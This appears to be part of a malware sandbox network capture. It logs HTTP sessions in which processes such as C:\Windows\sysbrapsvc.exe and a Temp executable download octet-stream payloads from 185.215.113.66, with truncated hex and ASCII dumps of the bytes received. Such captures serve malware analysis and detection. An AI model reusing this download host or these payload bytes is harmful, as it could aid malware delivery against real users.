May 8, 2024 15:24:18.967190027 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49753	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:19.072272062 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:24:19.416872025 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:19 GMT Content-Type: application/octet-stream Content-Length: 81928 Last-Modified: Wed, 24 Apr 2024 23:29:53 GMT Connection: keep-alive ETag: "662995f1-14008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 f7 01 b2 60 0c 25 58 36 49 b9 34 23 91 28 4e 72 ab 02 06 2a ee b3 46 54 3e 3a 68 4e 47 4a 0c 37 91 b7 a4 1b 38 a1 9a e0 b0 c4 fe 21 20 44 58 a6 82 6d cd 53 58 f1 3b ac 19 89 a1 3d 8b 90 83 b4 71 ef eb 13 7a 28 73 20 51 f4 00 23 77 f7 2b 57 60 82 4a 56 6a 86 65 65 f4 3b 70 d7 7e e1 94 a3 80 aa 9f 61 33 fa c2 5f 90 b0 88 84 2c b5 14 92 38 68 0a 3a f6 a8 e8 70 3c 63 fa 87 27 43 2b f1 17 2e 48 bc 40 39 94 d5 09 2e 37 61 67 27 e3 d9 d7 11 b1 73 b6 44 ee a1 48 67 ce 3b 0d 47 de 6c 49 99 78 8e 32 06 7e cb 06 99 e2 8b b5 22 65 91 47 ca 9b f4 f8 70 e1 34 32 30 ab 66 24 ff 18 2d 2a ab a4 8e 3e 8f 4e 6f f9 37 ff 23 0c bf fa 23 74 76 8a c0 5b 91 ba 64 3c ba 64 84 a9 8a 05 47 f3 ae 16 c6 d5 ac f8 f2 e3 22 12 89 76 35 e9 23 19 da 63 c6 f6 7c eb 00 02 5d a9 90 93 72 c1 57 89 70 e8 c7 c7 ff 7e f7 25 72 e0 5b 68 5a 13 5f db 38 e3 e0 b0 df b4 6c f2 6c 3f 6c 32 2c 82 bf c0 0e 20 00 01 74 e7 94 6e d0 d7 31 4b fa 19 92 fa 71 85 57 70 41 0d c0 65 20 72 73 20 94 9c e7 af b6 92 a0 3f 21 39 04 9a db [TRUNCATED] Data Ascii: NGS!`%X6I4#(NrFT>:hNGJ78! DXmSX;=qz(s Q#w+W`JVjee;p~a3_,8h:p<c'C+.H@9.7ag'sDHg;GlIx2~"eGp420f$->No7##tv[d<dG"v5#c\|]rWp~%r[hZ_8ll?l2, tn1KqWpAe rs ?!9s,i}G:x} M]:wTU+v@V-7m+j!LqmJmVHiYHq[JG1j\Z+J2[?#fzYV"9(UWIJ's-OW`o0pmRVaj;wm57iWysesZ5{(\|+tDo>DQbd.W}@^=w%}C?2EN4jfi/kOppZ6I$aJ_/028M*J0y!=g[v]c@9d^H2~l(pc-'7JagPYP.mt&/btva}gfu;'Z~[Vn~5RkM@q/:=`:G^'CT<Czv`b=/>&-U\|pjM,/fWO4]9D-\F'bOQW`6sb_ [TRUNCATED]
May 8, 2024 15:24:19.417135954 CEST	1289	IN	Data Raw: 28 55 b0 14 8d 25 75 01 4e 4d c0 61 ac 41 b4 b2 02 db 28 1b 34 b9 e4 3d 5a ba a7 41 58 c9 72 51 09 58 06 57 a5 6a 1d a6 dc db 3c 54 91 a4 f0 53 ee c7 b4 4c 31 29 c9 3b 7d 28 06 68 a2 46 ea 8f 96 45 61 a0 bd ec 9d 9e b3 9f b9 6f db 99 91 9e cc ab Data Ascii: (U%uNMaA(4=ZAXrQXWj<TSL1);}(hFEao@@s3poh[Z6~E7Y\YdQ87$>/v2/'jIA*i$ZtBa4PdG5KQ^(,q{:)CYd;}U:
May 8, 2024 15:24:19.417484045 CEST	1289	IN	Data Raw: 73 80 0b b2 b8 b4 ed b4 ec 6c 6e 29 64 94 41 b8 c2 5b fe a0 26 a2 02 7f 86 2b d0 b5 9d 1b c4 eb 99 d1 84 a5 c4 9b e4 4a 3f ae 54 38 64 fd 73 7b bc b0 b7 f7 35 22 98 66 d9 e0 9c 2c 14 4c 63 dd 51 30 2a 35 e5 bd c5 71 38 09 82 3b 49 c8 cb 06 d7 be Data Ascii: sln)dA[&+J?T8ds{5"f,LcQ0*5q8;IW5F_E,`uvybARUBv@5:{sU~wLFy~I3z?>Twh,GY(@5D?39wne5Fud!Ji
May 8, 2024 15:24:19.417573929 CEST	1289	IN	Data Raw: c4 bb 2d ef 3e bc d7 cf 85 b5 61 42 c9 31 64 7b 11 00 a5 c9 ec bc 34 06 66 4e 0f 74 8f 73 02 53 34 4b 68 9c c2 bc c8 87 b4 4d 97 89 8e b7 7d ce 64 8b 08 fe a7 b9 04 ca a1 ad e8 0e 46 11 2f 0b 88 83 36 8f a2 c3 5b d6 10 ae bb 3d d8 38 cf 91 4f ed Data Ascii: ->aB1d{4fNtsS4KhM}dF/6[=8O^b$/lb8nfD;AzN=O'F+~gV#q((%d]d!E)xJ:.Ku[_ofLVQiGA*x
May 8, 2024 15:24:19.417593956 CEST	1289	IN	Data Raw: 47 61 a6 d7 8b e2 18 06 d4 a0 0f 77 f1 a8 b0 18 f4 e7 aa e1 f4 10 d3 6c 24 a6 92 4a 95 43 61 2d 33 b6 ea 6c 67 db 6c f1 95 8b c3 ca 0a d3 82 4b 20 b2 2c 8a 71 ed 28 57 22 b0 3e cf fd 51 37 9e 01 db db 71 df 58 6e e1 04 c1 79 7e b7 1d e7 32 64 68 Data Ascii: Gawl$JCa-3lglK ,q(W">Q7qXny~2dhr.1N5dN]YIZ]svq\|1bT0T2L>Kk`]H4X"kD/e6o[&/RcKT_N`MGmtocl;-EH-t JbB
May 8, 2024 15:24:19.417608023 CEST	1289	IN	Data Raw: 19 15 22 5a d7 57 6d 08 b4 ae a5 2d 9c 05 b2 e7 76 a1 88 d8 95 a0 92 12 78 8c 9e 84 bb 25 c3 0e ea 62 c0 e8 67 46 ce f2 85 e2 86 aa 56 e3 03 22 c9 e8 1c d4 fd 1d f3 66 d5 d2 6e a9 8f db d2 fb 8e 6c 5a 7c e2 ea 43 e3 75 e5 ab 3a 6b 8b 08 76 b5 e4 Data Ascii: "ZWm-vx%bgFV"fnlZ\|Cu:kvG\Cd!9s$Wvbc{Lz4p%+2&m=J LE9Kl64H"~c/`J'tSy
May 8, 2024 15:24:19.417623043 CEST	1289	IN	Data Raw: cf ac a7 be eb 73 e4 d3 ed 5b 03 72 0a 74 77 67 b8 06 90 b3 68 26 cd 09 26 77 da e1 de 04 4a 31 c4 2a f5 4e d0 17 74 d1 64 56 8a 35 52 8e a2 c2 49 84 cb d5 ba 8a de 29 c8 64 33 1d ea 1f 9d 54 a4 dc a7 44 ad 90 58 ad 3d ed d8 e9 11 8b bf 96 37 2b Data Ascii: s[rtwgh&&wJ1NtdV5RI)d3TDX=7+_TDxdMT&J&XhG0{lwY]u</08I}F?yJxis}{2?FqiI]'Vv0KK'C_`B/E$=k5\$8
May 8, 2024 15:24:19.417638063 CEST	1289	IN	Data Raw: 18 ea 62 90 fb d4 85 d0 ad 0c ca 89 b2 53 60 05 7d 76 96 c6 1b 11 21 ee b4 7a fb 80 51 ed f3 ab 53 d4 03 87 1e e5 51 de b5 72 0c 29 40 27 ef fe 36 61 96 0b 02 9b d9 49 77 04 7e 0b be 98 bd b5 4e 86 ad 27 41 28 99 57 26 9d c5 79 01 3f 69 69 0b 0e Data Ascii: bS`}v!zQSQr)@'6aIw~N'A(W&y?iiz$X2Wq&44o#H<uwV5pWv;}]rxsi3}'/_:4!0EUD7H\l9B-uLr3%3)"iKYw_3b1!]/
May 8, 2024 15:24:19.417654037 CEST	1289	IN	Data Raw: 98 f8 17 51 a5 46 a9 06 8f 70 7e d1 56 4e 09 36 93 48 63 2d e4 5e 59 fe 7f d8 01 fc 73 11 04 eb 66 af 5f 05 e8 fa 5e 30 56 18 e8 12 c0 d7 0f 05 48 45 9f 97 4f b9 c8 ba a5 74 d5 06 3f 27 fd 27 2d af 17 cb 93 d8 14 f2 53 f2 fa 4e 30 b9 7c 59 d9 07 Data Ascii: QFp~VN6Hc-^Ysf_^0VHEOt?''-SN0\|Ye"I@/&'pz251my 50Ki8HP38FG^ZOEV-sOSBSp1@JlgTJrJg6gGwE\Wg
May 8, 2024 15:24:19.417668104 CEST	1289	IN	Data Raw: 41 d9 38 85 ee da 1f 10 58 78 ef c3 e6 5f 03 31 de e6 ca fb a1 25 b6 07 9d 1b b2 31 a6 4b f2 95 cf 45 5a 45 f9 ea 7f ba c1 4d b7 5b d9 ed 98 aa 58 ac f9 58 2c a7 8c 2a c0 64 76 05 f9 ea 6b 0c 6e a7 cc 9f 95 3a 5f 91 fe 5f 03 e9 99 02 db a3 ae cd Data Ascii: A8Xx_1%1KEZEM[XX,*dvkn:__p:2@{<@W^Y9UaKJ}_{J5J=N2)kF zXlyd}72iZbEkzf2<Meo9"fbuDgI:65+Zn(ylM
May 8, 2024 15:24:19.767258883 CEST	1289	IN	Data Raw: 04 f1 04 68 70 6d 25 a5 24 64 db 9c 1f 55 9b bb d5 7d 93 b6 b0 59 82 37 48 16 39 7d 95 ba d9 9a 0c e1 8a 9d ec 79 73 e1 b9 9e 01 ac 65 4e 76 07 47 59 6c eb 1a d5 8b f7 6c ba 2b bc 78 f5 54 f8 96 58 43 5d af 42 06 be 91 8b 5c d1 3e 11 89 bf 48 2b Data Ascii: hpm%$dU}Y7H9}yseNvGYll+xTXC]B\>H+8Y?vROQT$O<8c8]>!nxQt1K=Tm`loww?#@!C9/WHO+Rnym:\|5`Dd{K/(Y?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49754	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:21.341253042 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:24:21.682579041 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:21 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:40 GMT Connection: keep-alive ETag: "663a7350-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:24:21.682594061 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:24:21.682707071 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:24:21.682720900 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:24:21.682734013 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:24:21.682746887 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:24:21.682799101 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:24:21.682806969 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49755	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:21.793037891 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:24:22.131413937 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:21 GMT Content-Type: application/octet-stream Content-Length: 22272 Last-Modified: Wed, 08 May 2024 11:20:38 GMT Connection: keep-alive ETag: "663b6006-5700" Accept-Ranges: bytes Data Raw: 9f 99 07 20 de 8d 44 f2 f6 13 df bc 7b 00 82 92 55 ab c0 21 68 c7 50 d3 19 59 e0 1a 73 e0 76 26 1b b0 8d 43 32 3a 53 97 36 02 bd b0 9d 94 d9 d9 e6 c8 59 cf e0 0e 72 c6 32 5a 9e 9f 97 7c cb 13 c9 e0 19 a5 09 12 87 cb ba 5b 7a e5 af 4d 86 e0 bc 1a 77 78 74 51 85 f5 3f e6 db 6b fc 38 23 e2 47 60 66 86 05 46 d4 d0 61 58 4d 7c 07 df 73 3a ff d9 2e a2 ab f2 89 a6 a5 fe 3f 10 d7 d2 54 e1 66 4c 7f c2 68 a8 2a 13 33 94 81 3c fe a8 55 4d 30 cd 47 a2 f1 35 9b 01 8a 74 b0 79 40 30 5e 56 b0 85 7c ea 4e 29 48 f8 b5 08 05 e7 2b cc 4c d6 f1 a7 9c 9d ed 33 a6 83 5c 4c ce 95 bd fb 74 2d e0 f4 7c fb 1e a8 da 7e b5 55 ad 3b 19 3b a0 c7 ff 22 a0 25 c0 02 20 9c c5 34 2b 3a 79 64 b2 1e 6b 85 de fc 1e 68 5f 98 1a f2 cf 49 c5 25 68 e5 3a 17 ab 13 f7 3b 97 e5 9b 39 16 54 78 41 b6 0c d2 97 ee 7f 2c c9 d6 d3 8c 0d 2e 2e 84 7e 43 b0 7d 2b a8 38 2a 03 a8 92 0a 7a b1 c5 c4 b4 12 c1 9b 29 d1 bd 69 42 b3 09 6c 81 d3 fc 77 f6 47 df 9f 8c 6d 12 1f 88 fb 8c 9f 6b 37 3b ec 4c 7e 36 f7 34 fa 50 ee 6a 0d 7c 09 14 68 b2 73 50 76 bc dc 4e [TRUNCATED] Data Ascii: D{U!hPYsv&C2:S6Yr2Z\|[zMwxtQ?k8#G`fFaXM\|s:.?TfLh3<UM0G5ty@0^V\|N)H+L3\Lt-\|~U;;"% 4+:ydkh_I%h:;9TxA,..~C}+8z)iBlwGmk7;L~64Pj\|hsPvN(~&rf&5a\|7{Jt\JW be)k1:Z7Np'P=Q84Dx8As.bi$56R2)K3WLZpP&&J{=.cCzhZjBB[!N>:.9v=LFC#GO\ Y6S{gf\|=zlA=R0Dqh}RN@yWhQTWTDS{9IYAfE",KUtKh)3/f4QWi#@NZ~qPp63!cEeV6T8`k?)x\]<SbA2xK? X&\|Lxvg(8YD.NL+o=(zuj2@Jj'6=m;A?<JX+K^($1i+:R2\|qnCo4jd=Gs%/'A+h"wji>*b [TRUNCATED]
May 8, 2024 15:24:22.131465912 CEST	1289	IN	Data Raw: 93 5f 6b ef 50 05 9e 69 25 3f 3f 17 47 85 2c 6b 90 92 25 c7 a4 33 c7 b4 ac 01 9f 3c 52 af 59 f7 8f 8c b2 8a 34 83 28 21 34 2c 08 b5 72 a3 55 ed 44 21 fc 8e 2b ad 22 49 d4 df 89 7f 22 e5 ce 47 01 f3 e1 b7 6a 95 90 ad a6 27 76 0c 70 18 34 86 d8 a7 Data Ascii: _kPi%??G,k%3<RY4(!4,rUD!+"I"Gj'vp494lqQ " [t%/ ,2wUJSxon2F;DI`yMis)p#{x1mWRHFpwYmv.J]%x;U'i%?^`}ihtPA
May 8, 2024 15:24:22.131576061 CEST	1289	IN	Data Raw: 1c c3 ae 56 be 98 01 6b 9c 1a 7b 08 4e 4a 39 5c 07 87 b3 5b 4f 13 bd 3b 89 f5 de 91 7a 53 87 d5 e3 12 66 87 50 62 62 19 16 47 a1 87 f9 8f 51 ef 1e 4c dd 49 0a 9c c2 51 5f ab bf 5f b4 35 c7 5a 28 84 16 e7 9a 31 36 4e dd 67 f8 5e e6 4a 7b c3 bf 40 Data Ascii: Vk{NJ9\[O;zSfPbbGQLIQ__5Z(16Ng^J{@>!HvxGA#J=$SI7l(f^43<P7Xic&mRwaRX_wj15^W:nkv0ExG"F&XI'7K7E"4 gX
May 8, 2024 15:24:22.131591082 CEST	1289	IN	Data Raw: 4f 94 78 c2 97 9b 63 5e be 60 17 93 29 44 bc d5 ec a9 b6 b4 08 90 51 3b 5d 99 88 3b 5e 0f 58 59 77 af 85 ff 08 65 fb e3 41 d7 e2 f9 54 96 02 47 8a ce 86 0b 91 33 f7 77 7b 52 57 56 74 07 cd bb f0 14 bb 02 b2 59 41 06 90 c8 43 63 75 9f 12 f7 70 b7 Data Ascii: Oxc^`)DQ;];^XYweATG3w{RWVtYACcup__BTY,q"KGCQ3c0QC/\|xB.Lv?X;Wg;cJrm%3Spc[!%dt y>yw{%dg)(Yr]srX!z
May 8, 2024 15:24:22.131652117 CEST	1289	IN	Data Raw: bb fc df 8d e3 0f af 38 97 7e 3c 5b 6a cb 09 b4 59 74 22 8d fb a9 0d f1 60 29 df 4e 90 14 35 9a 75 0a 76 65 4c b0 d5 9a 19 e2 87 dc e0 08 6c 3e d0 b6 f5 62 5c c2 fa 20 19 ef 55 b1 e0 ff 82 1b bf b5 10 12 e3 25 c3 9b 9d 61 84 57 33 23 b2 87 f1 d7 Data Ascii: 8~<[jYt"`)N5uveLl>b\ U%aW3#\|puO"^?,C5cRaCO($yf"[GH7me0_[1Da$q9&{\|oj5o6vT(eWnS-kI<ZV#~sX
May 8, 2024 15:24:22.131665945 CEST	1289	IN	Data Raw: aa 7c 5a 5d 16 d5 71 76 1e 04 c2 b4 d4 90 34 09 eb 56 cd 7d 84 8a 26 c8 b1 15 0d 92 67 ca fe b5 0f b7 5c cc 00 c7 55 08 91 20 53 0e 48 8e e0 75 2e 1a e9 cb 22 b9 eb bc 82 2c 7a 68 56 bd 3a 42 de 02 c6 de 61 ff 10 46 0a 83 2d 97 2a 29 9e 7b 31 05 Data Ascii: \|Z]qv4V}&g\U SHu.",zhV:BaF-){1:eU{TjoM{;4gb\rxa"-)K,K\Id-J\x/AT^)cv_21sc\|u7l&{oIt<'2IU;?!E<
May 8, 2024 15:24:22.131774902 CEST	1289	IN	Data Raw: ff 96 34 ff be 9f d7 1d 17 ae 97 a3 e3 1f 25 28 7f a0 76 42 96 9e 6b b3 fb 60 26 c6 18 ac ad fe b7 7a 33 c2 a5 df e6 1a 43 e0 e2 cb e8 3f 38 1c db 04 16 a1 a1 17 a5 e7 10 cb 46 d6 d5 05 02 4d 80 0d ec d3 b7 fc 89 ae ee 3c cb 96 1f cf ef 7f e1 75 Data Ascii: 4%(vBk`&z3C?8FM<ue\`O?)m<[nh7RpUT j%#0JjyAsY@Vy8jmtf"\|y#3)JG<*0YnhP,I#]a%>+Y
May 8, 2024 15:24:22.131795883 CEST	1289	IN	Data Raw: cc c0 d5 f6 76 58 dc 93 86 0a 7a 73 31 1b 86 f2 99 0b 0a c3 29 1f 18 eb 34 62 30 4f 97 68 7a a7 2b e4 dc 7f 15 02 1c 92 a5 dc 04 bc d8 80 89 c1 7d 31 8d cc 5e 00 3e d9 dd 36 a0 29 2a e4 f0 03 d2 9f fb 5e 89 a7 a8 88 0c db 7f 02 b8 4c 9a 20 b8 99 Data Ascii: vXzs1)4b0Ohz+}1^>6)^L hJL3j104-D.0(C"krOB/Wye(m?hH/"'>X,0YvMhl,]=.R~RO.qS5T{U
May 8, 2024 15:24:22.131808996 CEST	1289	IN	Data Raw: 19 89 96 e9 56 0f 9a 8c 19 b7 05 b4 27 39 21 25 b2 29 35 03 7e f7 f4 ad 75 ff 9f e3 00 20 68 f1 05 5f ae 80 44 41 3a 4f 23 2f d7 4a 79 1a 22 03 77 bd b2 c1 38 a8 21 72 fd 82 f9 23 8d bb de 86 5e 3b f3 ee 08 66 59 00 6d a4 13 79 80 f3 31 29 63 8f Data Ascii: V'9!%)5~u h_DA:O#/Jy"w8!r#^;fYmy1)cWz=9pHjje,]GcDOB)9l)VWdRyl}$C^dC$#nK/tmd}#x,<f7#[e\|/")UN+LG.ouX$Js=
May 8, 2024 15:24:22.131874084 CEST	1289	IN	Data Raw: b0 92 f6 3f 1d 3a a3 f2 72 e7 3c ab 2a 56 d3 0e 3d 84 af 84 17 ae fe f6 bf 04 fa eb a8 21 04 10 46 12 99 06 c0 53 db bb dc 0e e4 b2 22 b6 5c 5d 9c 7b 01 fa 03 3e 6e 9b 77 dc 88 bb 7a fb a2 03 db 1e 8b 86 87 65 f2 56 a1 a8 9b f0 68 45 e3 9b 87 f2 Data Ascii: ?:r<*V=!FS"\]{>nwzeVhES#n1KBCiD]p(Eqf$c&WhTos_49KJAZqRW'[LZE/+]RsLgQ_<OvqKKmL}:pfj^qh fW]
May 8, 2024 15:24:22.471158028 CEST	1289	IN	Data Raw: ae 13 d9 3c 80 95 1b 13 9e 3f c9 4c 70 f0 19 fc 72 a9 9d 72 9d 76 2d af 9d 78 f3 f8 ea f0 1a 30 30 f2 bc d5 d3 68 75 96 42 e1 16 bf 93 0f ed bd b7 9c 3a 47 ce 12 12 56 20 bf 54 2c 55 54 a9 64 4b e6 87 6a 07 a1 d0 67 f7 7d 50 da fd f5 9c 78 6d fc Data Ascii: <?Lprrv-x00huB:GV T,UTdKjg}PxmZyo!DaH,1$DSP<*J2m-Fhr&:O(d?QhBQ<Mh_)p"b,~b[KWZ5f:Gz}j[6,gXiR6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49756	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:24.062493086 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:24:24.408998966 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:24 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:44 GMT Connection: keep-alive ETag: "663a7354-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 